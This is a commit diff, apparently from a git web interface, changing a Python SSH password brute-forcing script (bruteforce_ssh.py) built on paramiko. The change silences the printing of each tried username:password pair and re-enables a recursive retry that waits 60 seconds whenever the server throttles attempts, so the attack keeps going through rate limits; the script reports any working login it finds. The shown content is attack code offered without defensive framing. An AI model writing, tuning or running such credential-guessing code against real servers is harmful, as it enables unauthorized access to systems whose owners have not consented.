main
greglebreton 2 years ago
parent b12b63764d
commit f0b9a0925e
  1. 8
      bruteforce_ssh.py

@ -29,12 +29,12 @@ def is_ssh_open(hostname, username, password):
returning = False
except paramiko.SSHException as err:
print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}")
print(f"{RED}{username}:{password}{RESET}")
print(f"{RED}{err}{RESET}")
# print(f"{RED}{username}:{password}{RESET}")
# print(f"{RED}{err}{RESET}")
# sleep for a minute
time.sleep(60)
#returning = is_ssh_open(hostname, username, password)
returning = False
returning = is_ssh_open(hostname, username, password)
# returning = False
else:
# connection was established successfully
print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}")

Loading…
Cancel
Save